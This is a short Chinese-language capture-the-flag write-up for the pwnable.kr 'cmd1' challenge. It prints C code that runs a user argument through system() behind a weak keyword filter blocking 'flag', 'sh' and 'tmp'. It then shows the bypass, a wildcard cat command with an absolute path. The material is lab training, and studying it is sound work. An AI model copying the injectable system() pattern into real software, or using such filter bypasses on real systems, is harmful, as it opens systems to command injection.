【Writeup】Pwnable.kr 0x0E cmd1

0x0E cmd1

题目描述

Mommy! what is PATH environment in Linux?

ssh [email protected] -p2222 (pw:guest)

题目代码

#include 
#include 

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "flag")!=0;
    r += strstr(cmd, "sh")!=0;
    r += strstr(cmd, "tmp")!=0;
    return r;
}
int main(int argc, char* argv[], char** envp){
    putenv("PATH=/fuckyouverymuch");
    if(filter(argv[1])) return 0;
    system( argv[1] );
    return 0;
}

题目分析

首先分析代码,这道题是让你输入程序参数,并放到system执行,然后这里有个filter函数,过滤了flag、sh、tmp三个关键字,如果我们想要得到flag,就不能输入flag,想了一下,发现通配符没有过滤,然后又想到cat命令在本机bin目录下存在,因此就可以用/bin/cat f*读取flag

解题步骤

./cmd1 "/bin/cat f*"

你可能感兴趣的:(【Writeup】Pwnable.kr 0x0E cmd1)